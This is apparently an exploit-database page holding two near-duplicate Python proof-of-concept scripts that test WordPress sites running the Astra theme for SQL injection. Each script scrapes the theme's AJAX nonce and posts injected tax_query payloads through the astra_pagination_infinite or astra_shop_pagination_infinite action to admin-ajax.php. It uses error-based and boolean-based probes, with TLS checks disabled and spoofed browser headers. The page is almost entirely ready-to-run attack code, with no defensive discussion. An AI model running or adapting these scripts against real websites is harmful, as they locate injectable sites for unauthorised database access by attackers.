Share
## https://sploitus.com/exploit?id=WPEX-ID:A1A0DC0B-C351-4D46-AC9B-B297CE4D251C
Via astra_pagination_infinite action:

import argparse
import requests as req
from bs4 import BeautifulSoup as bs
import json

req.urllib3.disable_warnings()

def get_nonce(url):

	try:
		headers = {"Sec-Ch-Ua": "\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"90\"", "Sec-Ch-Ua-Mobile": "?0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Sec-Fetch-Site": "none", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-User": "?1", "Sec-Fetch-Dest": "document", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
		r = req.get(url, headers=headers, allow_redirects=True, verify=False)
		if 'var astra = {' in r.text and 'infinite_nonce' in r.text:

			soup = bs(r.content, 'html.parser')
			astra = soup.find('script', attrs={'id': 'astra-theme-js-js-extra'}).text.strip()[12:-1]
			data = json.loads(astra)
			nonce = data['infinite_nonce']

			return nonce, r.url
	except Exception as e:
		#raise e
		return None, None

	return None, None


def send_request(url, nonce, payload):

	data = {
		"action": "astra_pagination_infinite",
		"page_no": "1", 
		"nonce": "{}".format(nonce), 
		"query_vars": r'{"tax_query":{"0":{"field":"term_taxonomy_id","terms":["' + payload + r'"]}}}', 
		"astra_infinite": "astra_pagination_ajax"
		}

	headers = {"Cache-Control": "max-age=0", "Sec-Ch-Ua": "\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"90\"", "Sec-Ch-Ua-Mobile": "?0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Sec-Fetch-Site": "none", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-User": "?1", "Sec-Fetch-Dest": "document", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded"}	

	url += '/wp-admin/admin-ajax.php'
	r = req.post(url, headers=headers, data=data, verify=False)
	return r.text


def check_sqli(url, nonce):
	
	# grep error base
	res = send_request(url, nonce, "'")
	if 'database error' in res:
		return True, 'Vuln to Error-Based.'


	# query 1
	res1 = send_request(url, nonce, '9656)) and ((7556=1223')
	res2 = send_request(url, nonce, '9634)) or ((6532=6532')

	if res1 == '' and (len(res2) > len(res1)):
		return True, 'Vuln to Boolean-Based.'


	return False, 'Not vuln'		


def main():
	parser = argparse.ArgumentParser()
	parser.add_argument("-u", "--url", help='URL', required="True")
	args = parser.parse_args()
	url = args.url

	nonce, r_url = get_nonce(url)
	print(check_sqli(r_url, nonce)[1])


main()


Via astra_shop_pagination_infinite action:

import argparse
import requests as req
from bs4 import BeautifulSoup as bs
import json

req.urllib3.disable_warnings()

def get_nonce(url):

	try:
		headers = {"Sec-Ch-Ua": "\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"90\"", "Sec-Ch-Ua-Mobile": "?0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Sec-Fetch-Site": "none", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-User": "?1", "Sec-Fetch-Dest": "document", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
		r = req.get(url, headers=headers, allow_redirects=True, verify=False)
		if 'var astra = {' in r.text and 'shop_infinite_nonce' in r.text:

			soup = bs(r.content, 'html.parser')
			astra = soup.find('script', attrs={'id': 'astra-theme-js-js-extra'}).text.strip()[12:-1]
			data = json.loads(astra)
			nonce = data['shop_infinite_nonce']

			return nonce, r.url
	except Exception as e:
		#raise e
		return None, None

	return None, None


def send_request(url, nonce, payload):

	data = {
		"action": "astra_shop_pagination_infinite",
		"page_no": "1", 
		"nonce": "{}".format(nonce), 
		"query_vars": r'{"tax_query":{"0":{"field":"term_taxonomy_id","terms":["' + payload + r'"]}}}', 
		"astra_infinite": "astra_pagination_ajax"
		}

	headers = {"Cache-Control": "max-age=0", "Sec-Ch-Ua": "\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"90\"", "Sec-Ch-Ua-Mobile": "?0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Sec-Fetch-Site": "none", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-User": "?1", "Sec-Fetch-Dest": "document", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded"}	

	url += '/wp-admin/admin-ajax.php'
	r = req.post(url, headers=headers, data=data, verify=False)
	return r.text


def check_sqli(url, nonce):
	
	# grep error base
	res = send_request(url, nonce, "'")
	if 'database error' in res:
		return True, 'Vuln to Error-Based.'


	# query 1
	res1 = send_request(url, nonce, '9656)) and ((7556=1223')
	res2 = send_request(url, nonce, '9634)) or ((6532=6532')

	if res1 == '' and (len(res2) > len(res1)):
		return True, 'Vuln to Boolean-Based.'


	return False, 'Not vuln'		


def main():
	parser = argparse.ArgumentParser()
	parser.add_argument("-u", "--url", help='URL', required="True")
	args = parser.parse_args()
	url = args.url

	nonce, r_url = get_nonce(url)
	print(check_sqli(r_url, nonce)[1])


main()